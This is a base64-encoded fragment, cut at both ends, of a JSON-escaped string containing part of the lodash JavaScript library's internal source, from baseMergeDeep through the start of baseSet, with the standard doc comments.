CAqICBjb3VudGVycGFydHMuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZU1lcmdlRGVlcChvYmplY3QsIHNvdXJjZSwga2V5LCBzcmNJbmRleCwgbWVyZ2VGdW5jLCBjdXN0b21pemVyLCBzdGFjaykge1xuICAgICAgdmFyIG9ialZhbHVlID0gc2FmZUdldChvYmplY3QsIGtleSksXG4gICAgICAgICAgc3JjVmFsdWUgPSBzYWZlR2V0KHNvdXJjZSwga2V5KSxcbiAgICAgICAgICBzdGFja2VkID0gc3RhY2suZ2V0KHNyY1ZhbHVlKTtcblxuICAgICAgaWYgKHN0YWNrZWQpIHtcbiAgICAgICAgYXNzaWduTWVyZ2VWYWx1ZShvYmplY3QsIGtleSwgc3RhY2tlZCk7XG4gICAgICAgIHJldHVybjtcbiAgICAgIH1cbiAgICAgIHZhciBuZXdWYWx1ZSA9IGN1c3RvbWl6ZXJcbiAgICAgICAgPyBjdXN0b21pemVyKG9ialZhbHVlLCBzcmNWYWx1ZSwgKGtleSArICcnKSwgb2JqZWN0LCBzb3VyY2UsIHN0YWNrKVxuICAgICAgICA6IHVuZGVmaW5lZDtcblxuICAgICAgdmFyIGlzQ29tbW9uID0gbmV3VmFsdWUgPT09IHVuZGVmaW5lZDtcblxuICAgICAgaWYgKGlzQ29tbW9uKSB7XG4gICAgICAgIHZhciBpc0FyciA9IGlzQXJyYXkoc3JjVmFsdWUpLFxuICAgICAgICAgICAgaXNCdWZmID0gIWlzQXJyICYmIGlzQnVmZmVyKHNyY1ZhbHVlKSxcbiAgICAgICAgICAgIGlzVHlwZWQgPSAhaXNBcnIgJiYgIWlzQnVmZiAmJiBpc1R5cGVkQXJyYXkoc3JjVmFsdWUpO1xuXG4gICAgICAgIG5ld1ZhbHVlID0gc3JjVmFsdWU7XG4gICAgICAgIGlmIChpc0FyciB8fCBpc0J1ZmYgfHwgaXNUeXBlZCkge1xuICAgICAgICAgIGlmIChpc0FycmF5KG9ialZhbHVlKSkge1xuICAgICAgICAgICAgbmV3VmFsdWUgPSBvYmpWYWx1ZTtcbiAgICAgICAgICB9XG4gICAgICAgICAgZWxzZSBpZiAoaXNBcnJheUxpa2VPYmplY3Qob2JqVmFsdWUpKSB7XG4gICAgICAgICAgICBuZXdWYWx1ZSA9IGNvcHlBcnJheShvYmpWYWx1ZSk7XG4gICAgICAgICAgfVxuICAgICAgICAgIGVsc2UgaWYgKGlzQnVmZikge1xuICAgICAgICAgICAgaXNDb21tb24gPSBmYWxzZTtcbiAgICAgICAgICAgIG5ld1ZhbHVlID0gY2xvbmVCdWZmZXIoc3JjVmFsdWUsIHRydWUpO1xuICAgICAgICAgIH1cbiAgICAgICAgICBlbHNlIGlmIChpc1R5cGVkKSB7XG4gICAgICAgICAgICBpc0NvbW1vbiA9IGZhbHNlO1xuICAgICAgICAgICAgbmV3VmFsdWUgPSBjbG9uZVR5cGVkQXJyYXkoc3JjVmFsdWUsIHRydWUpO1xuICAgICAgICAgIH1cbiAgICAgICAgICBlbHNlIHtcbiAgICAgICAgICAgIG5ld1ZhbHVlID0gW107XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIGVsc2UgaWYgKGlzUGxhaW5PYmplY3Qoc3JjVmFsdWUpIHx8IGlzQXJndW1lbnRzKHNyY1ZhbHVlKSkge1xuICAgICAgICAgIG5ld1ZhbHVlID0gb2JqVmFsdWU7XG4gICAgICAgICAgaWYgKGlzQXJndW1lbnRzKG9ialZhbHVlKSkge1xuICAgICAgICAgICAgbmV3VmFsdWUgPSB0b1BsYWluT2JqZWN0KG9ialZhbHVlKTtcbiAgICAgICAgICB9XG4gICAgICAgICAgZWxzZSBpZiAoIWlzT2JqZWN0KG9ialZhbHVlKSB8fCBpc0Z1bmN0aW9uKG9ialZhbHVlKSkge1xuICAgICAgICAgICAgbmV3VmFsdWUgPSBpbml0Q2xvbmVPYmplY3Qoc3JjVmFsdWUpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBlbHNlIHtcbiAgICAgICAgICBpc0NvbW1vbiA9IGZhbHNlO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICBpZiAoaXNDb21tb24pIHtcbiAgICAgICAgLy8gUmVjdXJzaXZlbHkgbWVyZ2Ugb2JqZWN0cyBhbmQgYXJyYXlzIChzdXNjZXB0aWJsZSB0byBjYWxsIHN0YWNrIGxpbWl0cykuXG4gICAgICAgIHN0YWNrLnNldChzcmNWYWx1ZSwgbmV3VmFsdWUpO1xuICAgICAgICBtZXJnZUZ1bmMobmV3VmFsdWUsIHNyY1ZhbHVlLCBzcmNJbmRleCwgY3VzdG9taXplciwgc3RhY2spO1xuICAgICAgICBzdGFja1snZGVsZXRlJ10oc3JjVmFsdWUpO1xuICAgICAgfVxuICAgICAgYXNzaWduTWVyZ2VWYWx1ZShvYmplY3QsIGtleSwgbmV3VmFsdWUpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLm50aGAgd2hpY2ggZG9lc24ndCBjb2VyY2UgYXJndW1lbnRzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IG4gVGhlIGluZGV4IG9mIHRoZSBlbGVtZW50IHRvIHJldHVybi5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgbnRoIGVsZW1lbnQgb2YgYGFycmF5YC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlTnRoKGFycmF5LCBuKSB7XG4gICAgICB2YXIgbGVuZ3RoID0gYXJyYXkubGVuZ3RoO1xuICAgICAgaWYgKCFsZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuO1xuICAgICAgfVxuICAgICAgbiArPSBuIDwgMCA/IGxlbmd0aCA6IDA7XG4gICAgICByZXR1cm4gaXNJbmRleChuLCBsZW5ndGgpID8gYXJyYXlbbl0gOiB1bmRlZmluZWQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8ub3JkZXJCeWAgd2l0aG91dCBwYXJhbSBndWFyZHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl8T2JqZWN0fSBjb2xsZWN0aW9uIFRoZSBjb2xsZWN0aW9uIHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9uW118T2JqZWN0W118c3RyaW5nW119IGl0ZXJhdGVlcyBUaGUgaXRlcmF0ZWVzIHRvIHNvcnQgYnkuXG4gICAgICogQHBhcmFtIHtzdHJpbmdbXX0gb3JkZXJzIFRoZSBzb3J0IG9yZGVycyBvZiBgaXRlcmF0ZWVzYC5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBzb3J0ZWQgYXJyYXkuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZU9yZGVyQnkoY29sbGVjdGlvbiwgaXRlcmF0ZWVzLCBvcmRlcnMpIHtcbiAgICAgIGlmIChpdGVyYXRlZXMubGVuZ3RoKSB7XG4gICAgICAgIGl0ZXJhdGVlcyA9IGFycmF5TWFwKGl0ZXJhdGVlcywgZnVuY3Rpb24oaXRlcmF0ZWUpIHtcbiAgICAgICAgICBpZiAoaXNBcnJheShpdGVyYXRlZSkpIHtcbiAgICAgICAgICAgIHJldHVybiBmdW5jdGlvbih2YWx1ZSkge1xuICAgICAgICAgICAgICByZXR1cm4gYmFzZUdldCh2YWx1ZSwgaXRlcmF0ZWUubGVuZ3RoID09PSAxID8gaXRlcmF0ZWVbMF0gOiBpdGVyYXRlZSk7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICAgIHJldHVybiBpdGVyYXRlZTtcbiAgICAgICAgfSk7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICBpdGVyYXRlZXMgPSBbaWRlbnRpdHldO1xuICAgICAgfVxuXG4gICAgICB2YXIgaW5kZXggPSAtMTtcbiAgICAgIGl0ZXJhdGVlcyA9IGFycmF5TWFwKGl0ZXJhdGVlcywgYmFzZVVuYXJ5KGdldEl0ZXJhdGVlKCkpKTtcblxuICAgICAgdmFyIHJlc3VsdCA9IGJhc2VNYXAoY29sbGVjdGlvbiwgZnVuY3Rpb24odmFsdWUsIGtleSwgY29sbGVjdGlvbikge1xuICAgICAgICB2YXIgY3JpdGVyaWEgPSBhcnJheU1hcChpdGVyYXRlZXMsIGZ1bmN0aW9uKGl0ZXJhdGVlKSB7XG4gICAgICAgICAgcmV0dXJuIGl0ZXJhdGVlKHZhbHVlKTtcbiAgICAgICAgfSk7XG4gICAgICAgIHJldHVybiB7ICdjcml0ZXJpYSc6IGNyaXRlcmlhLCAnaW5kZXgnOiArK2luZGV4LCAndmFsdWUnOiB2YWx1ZSB9O1xuICAgICAgfSk7XG5cbiAgICAgIHJldHVybiBiYXNlU29ydEJ5KHJlc3VsdCwgZnVuY3Rpb24ob2JqZWN0LCBvdGhlcikge1xuICAgICAgICByZXR1cm4gY29tcGFyZU11bHRpcGxlKG9iamVjdCwgb3RoZXIsIG9yZGVycyk7XG4gICAgICB9KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5waWNrYCB3aXRob3V0IHN1cHBvcnQgZm9yIGluZGl2aWR1YWxcbiAgICAgKiBwcm9wZXJ0eSBpZGVudGlmaWVycy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgc291cmNlIG9iamVjdC5cbiAgICAgKiBAcGFyYW0ge3N0cmluZ1tdfSBwYXRocyBUaGUgcHJvcGVydHkgcGF0aHMgdG8gcGljay5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBuZXcgb2JqZWN0LlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VQaWNrKG9iamVjdCwgcGF0aHMpIHtcbiAgICAgIHJldHVybiBiYXNlUGlja0J5KG9iamVjdCwgcGF0aHMsIGZ1bmN0aW9uKHZhbHVlLCBwYXRoKSB7XG4gICAgICAgIHJldHVybiBoYXNJbihvYmplY3QsIHBhdGgpO1xuICAgICAgfSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgIGBfLnBpY2tCeWAgd2l0aG91dCBzdXBwb3J0IGZvciBpdGVyYXRlZSBzaG9ydGhhbmRzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBzb3VyY2Ugb2JqZWN0LlxuICAgICAqIEBwYXJhbSB7c3RyaW5nW119IHBhdGhzIFRoZSBwcm9wZXJ0eSBwYXRocyB0byBwaWNrLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IHByZWRpY2F0ZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgcHJvcGVydHkuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgbmV3IG9iamVjdC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlUGlja0J5KG9iamVjdCwgcGF0aHMsIHByZWRpY2F0ZSkge1xuICAgICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgICAgbGVuZ3RoID0gcGF0aHMubGVuZ3RoLFxuICAgICAgICAgIHJlc3VsdCA9IHt9O1xuXG4gICAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgICB2YXIgcGF0aCA9IHBhdGhzW2luZGV4XSxcbiAgICAgICAgICAgIHZhbHVlID0gYmFzZUdldChvYmplY3QsIHBhdGgpO1xuXG4gICAgICAgIGlmIChwcmVkaWNhdGUodmFsdWUsIHBhdGgpKSB7XG4gICAgICAgICAgYmFzZVNldChyZXN1bHQsIGNhc3RQYXRoKHBhdGgsIG9iamVjdCksIHZhbHVlKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBBIHNwZWNpYWxpemVkIHZlcnNpb24gb2YgYGJhc2VQcm9wZXJ0eWAgd2hpY2ggc3VwcG9ydHMgZGVlcCBwYXRocy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtBcnJheXxzdHJpbmd9IHBhdGggVGhlIHBhdGggb2YgdGhlIHByb3BlcnR5IHRvIGdldC5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBhY2Nlc3NvciBmdW5jdGlvbi5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlUHJvcGVydHlEZWVwKHBhdGgpIHtcbiAgICAgIHJldHVybiBmdW5jdGlvbihvYmplY3QpIHtcbiAgICAgICAgcmV0dXJuIGJhc2VHZXQob2JqZWN0LCBwYXRoKTtcbiAgICAgIH07XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8ucHVsbEFsbEJ5YCB3aXRob3V0IHN1cHBvcnQgZm9yIGl0ZXJhdGVlXG4gICAgICogc2hvcnRoYW5kcy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIG1vZGlmeS5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSB2YWx1ZXMgVGhlIHZhbHVlcyB0byByZW1vdmUuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlXSBUaGUgaXRlcmF0ZWUgaW52b2tlZCBwZXIgZWxlbWVudC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbY29tcGFyYXRvcl0gVGhlIGNvbXBhcmF0b3IgaW52b2tlZCBwZXIgZWxlbWVudC5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgYGFycmF5YC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlUHVsbEFsbChhcnJheSwgdmFsdWVzLCBpdGVyYXRlZSwgY29tcGFyYXRvcikge1xuICAgICAgdmFyIGluZGV4T2YgPSBjb21wYXJhdG9yID8gYmFzZUluZGV4T2ZXaXRoIDogYmFzZUluZGV4T2YsXG4gICAgICAgICAgaW5kZXggPSAtMSxcbiAgICAgICAgICBsZW5ndGggPSB2YWx1ZXMubGVuZ3RoLFxuICAgICAgICAgIHNlZW4gPSBhcnJheTtcblxuICAgICAgaWYgKGFycmF5ID09PSB2YWx1ZXMpIHtcbiAgICAgICAgdmFsdWVzID0gY29weUFycmF5KHZhbHVlcyk7XG4gICAgICB9XG4gICAgICBpZiAoaXRlcmF0ZWUpIHtcbiAgICAgICAgc2VlbiA9IGFycmF5TWFwKGFycmF5LCBiYXNlVW5hcnkoaXRlcmF0ZWUpKTtcbiAgICAgIH1cbiAgICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICAgIHZhciBmcm9tSW5kZXggPSAwLFxuICAgICAgICAgICAgdmFsdWUgPSB2YWx1ZXNbaW5kZXhdLFxuICAgICAgICAgICAgY29tcHV0ZWQgPSBpdGVyYXRlZSA/IGl0ZXJhdGVlKHZhbHVlKSA6IHZhbHVlO1xuXG4gICAgICAgIHdoaWxlICgoZnJvbUluZGV4ID0gaW5kZXhPZihzZWVuLCBjb21wdXRlZCwgZnJvbUluZGV4LCBjb21wYXJhdG9yKSkgPiAtMSkge1xuICAgICAgICAgIGlmIChzZWVuICE9PSBhcnJheSkge1xuICAgICAgICAgICAgc3BsaWNlLmNhbGwoc2VlbiwgZnJvbUluZGV4LCAxKTtcbiAgICAgICAgICB9XG4gICAgICAgICAgc3BsaWNlLmNhbGwoYXJyYXksIGZyb21JbmRleCwgMSk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHJldHVybiBhcnJheTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5wdWxsQXRgIHdpdGhvdXQgc3VwcG9ydCBmb3IgaW5kaXZpZHVhbFxuICAgICAqIGluZGV4ZXMgb3IgY2FwdHVyaW5nIHRoZSByZW1vdmVkIGVsZW1lbnRzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gbW9kaWZ5LlxuICAgICAqIEBwYXJhbSB7bnVtYmVyW119IGluZGV4ZXMgVGhlIGluZGV4ZXMgb2YgZWxlbWVudHMgdG8gcmVtb3ZlLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyBgYXJyYXlgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VQdWxsQXQoYXJyYXksIGluZGV4ZXMpIHtcbiAgICAgIHZhciBsZW5ndGggPSBhcnJheSA/IGluZGV4ZXMubGVuZ3RoIDogMCxcbiAgICAgICAgICBsYXN0SW5kZXggPSBsZW5ndGggLSAxO1xuXG4gICAgICB3aGlsZSAobGVuZ3RoLS0pIHtcbiAgICAgICAgdmFyIGluZGV4ID0gaW5kZXhlc1tsZW5ndGhdO1xuICAgICAgICBpZiAobGVuZ3RoID09IGxhc3RJbmRleCB8fCBpbmRleCAhPT0gcHJldmlvdXMpIHtcbiAgICAgICAgICB2YXIgcHJldmlvdXMgPSBpbmRleDtcbiAgICAgICAgICBpZiAoaXNJbmRleChpbmRleCkpIHtcbiAgICAgICAgICAgIHNwbGljZS5jYWxsKGFycmF5LCBpbmRleCwgMSk7XG4gICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGJhc2VVbnNldChhcnJheSwgaW5kZXgpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgcmV0dXJuIGFycmF5O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLnJhbmRvbWAgd2l0aG91dCBzdXBwb3J0IGZvciByZXR1cm5pbmdcbiAgICAgKiBmbG9hdGluZy1wb2ludCBudW1iZXJzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge251bWJlcn0gbG93ZXIgVGhlIGxvd2VyIGJvdW5kLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSB1cHBlciBUaGUgdXBwZXIgYm91bmQuXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgcmFuZG9tIG51bWJlci5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlUmFuZG9tKGxvd2VyLCB1cHBlcikge1xuICAgICAgcmV0dXJuIGxvd2VyICsgbmF0aXZlRmxvb3IobmF0aXZlUmFuZG9tKCkgKiAodXBwZXIgLSBsb3dlciArIDEpKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5yYW5nZWAgYW5kIGBfLnJhbmdlUmlnaHRgIHdoaWNoIGRvZXNuJ3RcbiAgICAgKiBjb2VyY2UgYXJndW1lbnRzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge251bWJlcn0gc3RhcnQgVGhlIHN0YXJ0IG9mIHRoZSByYW5nZS5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gZW5kIFRoZSBlbmQgb2YgdGhlIHJhbmdlLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBzdGVwIFRoZSB2YWx1ZSB0byBpbmNyZW1lbnQgb3IgZGVjcmVtZW50IGJ5LlxuICAgICAqIEBwYXJhbSB7Ym9vbGVhbn0gW2Zyb21SaWdodF0gU3BlY2lmeSBpdGVyYXRpbmcgZnJvbSByaWdodCB0byBsZWZ0LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgcmFuZ2Ugb2YgbnVtYmVycy5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlUmFuZ2Uoc3RhcnQsIGVuZCwgc3RlcCwgZnJvbVJpZ2h0KSB7XG4gICAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgICBsZW5ndGggPSBuYXRpdmVNYXgobmF0aXZlQ2VpbCgoZW5kIC0gc3RhcnQpIC8gKHN0ZXAgfHwgMSkpLCAwKSxcbiAgICAgICAgICByZXN1bHQgPSBBcnJheShsZW5ndGgpO1xuXG4gICAgICB3aGlsZSAobGVuZ3RoLS0pIHtcbiAgICAgICAgcmVzdWx0W2Zyb21SaWdodCA/IGxlbmd0aCA6ICsraW5kZXhdID0gc3RhcnQ7XG4gICAgICAgIHN0YXJ0ICs9IHN0ZXA7XG4gICAgICB9XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLnJlcGVhdGAgd2hpY2ggZG9lc24ndCBjb2VyY2UgYXJndW1lbnRzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gc3RyaW5nIFRoZSBzdHJpbmcgdG8gcmVwZWF0LlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBuIFRoZSBudW1iZXIgb2YgdGltZXMgdG8gcmVwZWF0IHRoZSBzdHJpbmcuXG4gICAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgcmVwZWF0ZWQgc3RyaW5nLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VSZXBlYXQoc3RyaW5nLCBuKSB7XG4gICAgICB2YXIgcmVzdWx0ID0gJyc7XG4gICAgICBpZiAoIXN0cmluZyB8fCBuIDwgMSB8fCBuID4gTUFYX1NBRkVfSU5URUdFUikge1xuICAgICAgICByZXR1cm4gcmVzdWx0O1xuICAgICAgfVxuICAgICAgLy8gTGV2ZXJhZ2UgdGhlIGV4cG9uZW50aWF0aW9uIGJ5IHNxdWFyaW5nIGFsZ29yaXRobSBmb3IgYSBmYXN0ZXIgcmVwZWF0LlxuICAgICAgLy8gU2VlIGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL0V4cG9uZW50aWF0aW9uX2J5X3NxdWFyaW5nIGZvciBtb3JlIGRldGFpbHMuXG4gICAgICBkbyB7XG4gICAgICAgIGlmIChuICUgMikge1xuICAgICAgICAgIHJlc3VsdCArPSBzdHJpbmc7XG4gICAgICAgIH1cbiAgICAgICAgbiA9IG5hdGl2ZUZsb29yKG4gLyAyKTtcbiAgICAgICAgaWYgKG4pIHtcbiAgICAgICAgICBzdHJpbmcgKz0gc3RyaW5nO1xuICAgICAgICB9XG4gICAgICB9IHdoaWxlIChuKTtcblxuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5yZXN0YCB3aGljaCBkb2Vzbid0IHZhbGlkYXRlIG9yIGNvZXJjZSBhcmd1bWVudHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGFwcGx5IGEgcmVzdCBwYXJhbWV0ZXIgdG8uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtzdGFydD1mdW5jLmxlbmd0aC0xXSBUaGUgc3RhcnQgcG9zaXRpb24gb2YgdGhlIHJlc3QgcGFyYW1ldGVyLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGZ1bmN0aW9uLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VSZXN0KGZ1bmMsIHN0YXJ0KSB7XG4gICAgICByZXR1cm4gc2V0VG9TdHJpbmcob3ZlclJlc3QoZnVuYywgc3RhcnQsIGlkZW50aXR5KSwgZnVuYyArICcnKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5zYW1wbGVgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge0FycmF5fE9iamVjdH0gY29sbGVjdGlvbiBUaGUgY29sbGVjdGlvbiB0byBzYW1wbGUuXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIHJhbmRvbSBlbGVtZW50LlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VTYW1wbGUoY29sbGVjdGlvbikge1xuICAgICAgcmV0dXJuIGFycmF5U2FtcGxlKHZhbHVlcyhjb2xsZWN0aW9uKSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uc2FtcGxlU2l6ZWAgd2l0aG91dCBwYXJhbSBndWFyZHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl8T2JqZWN0fSBjb2xsZWN0aW9uIFRoZSBjb2xsZWN0aW9uIHRvIHNhbXBsZS5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gbiBUaGUgbnVtYmVyIG9mIGVsZW1lbnRzIHRvIHNhbXBsZS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIHJhbmRvbSBlbGVtZW50cy5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlU2FtcGxlU2l6ZShjb2xsZWN0aW9uLCBuKSB7XG4gICAgICB2YXIgYXJyYXkgPSB2YWx1ZXMoY29sbGVjdGlvbik7XG4gICAgICByZXR1cm4gc2h1ZmZsZVNlbGYoYXJyYXksIGJhc2VDbGFtcChuLCAwLCBhcnJheS5sZW5ndGgpKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5zZXRgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gbW9kaWZ5LlxuICAgICAqIEBwYXJhbSB7QXJyYXl8c3RyaW5nfSBwYXRoIFRoZSBwYXRoIG9mIHRoZSBwcm9wZXJ0eSB0byBzZXQuXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gc2V0LlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtjdXN0b21pemVyXSBUaGUgZnVuY3Rpb24gdG8gY3VzdG9taXplIHBhdGggY3JlYXRpb24uXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyBgb2JqZWN0YC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlU2V0KG9iamVjdCwgcGF0aCwgdmFsdWUsIGN1c3RvbWl6ZXIpIHtcbiAgICAgIGlmICghaXNPYmplY3Qob2JqZWN0KSkge1xuICAgICAgICByZXR1cm4gb2JqZWN0O1xuICAgICAgfVxuICAgICAgcGF0aCA9IGNhc3RQYXRoKHBhdGgsIG9iamVjdCk7XG5cbiAgICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICAgIGxlbmd0aCA9IHBhdGgubGVuZ3RoLFxuICAgICAgICAgIGxhc3RJbmRleCA9IGxlbmd0aCAtIDEsXG4gICAgICAgICAgbmVzdGVkID0gb2JqZWN0O1xuXG4gICAgICB3aGlsZSAobmVzdGVkICE9IG51bGwgJiYgKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgICB2YXIga2V5ID0gdG9LZXkocGF0aFtpbmRleF0pLFxuICAgICAgICAgICAgbmV3VmFsdWUgPSB2YWx1ZTtcblxuICAgICAgICBpZiAoa2V5ID09PSAnX19wcm90b19fJyB8fCBrZXkgPT09ICdjb25zdHJ1Y3RvcicgfHwga2V5ID09PSAncHJvdG90eXBlJykge1xuICAgICAgICAgIHJldHVybiBvYmplY3Q7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoaW5kZXggIT0gbGFzdEluZGV4KSB7XG4gICAgICAgICAgdmFyIG9ialZhbHVlID0gbmVzdGVkW2tleV07XG4gICAgICAgICAgbmV3VmFsdWUgPSBjdXN0b21pemVyID8gY3VzdG9taXplcihvYmpWYWx1ZSwga2V5LCBuZXN0ZWQpIDogdW5kZWZpbmVkO1xuICAgICAgICAgIGlmIChuZXdWYWx1ZSA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAgICAgICBuZXdWYWx1ZSA9IGlzT2JqZWN0KG9ialZhbHVlKVxuICAgICAgICAgICAgICA/IG9ialZhbHVlXG4gICAgICAgICAgICAgIDogKGlzSW5kZXgocGF0aFtpbmRleCArIDFdKSA/IFtdIDoge30pO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBhc3NpZ25WYWx1ZShuZXN0ZWQsIGtleSwgbmV3VmFsdWUpO1xuICAgICAgICBuZXN0ZWQgPSBuZXN0ZWRba2V5XTtcbiAgICAgIH1cbiAgICAgIHJldHVy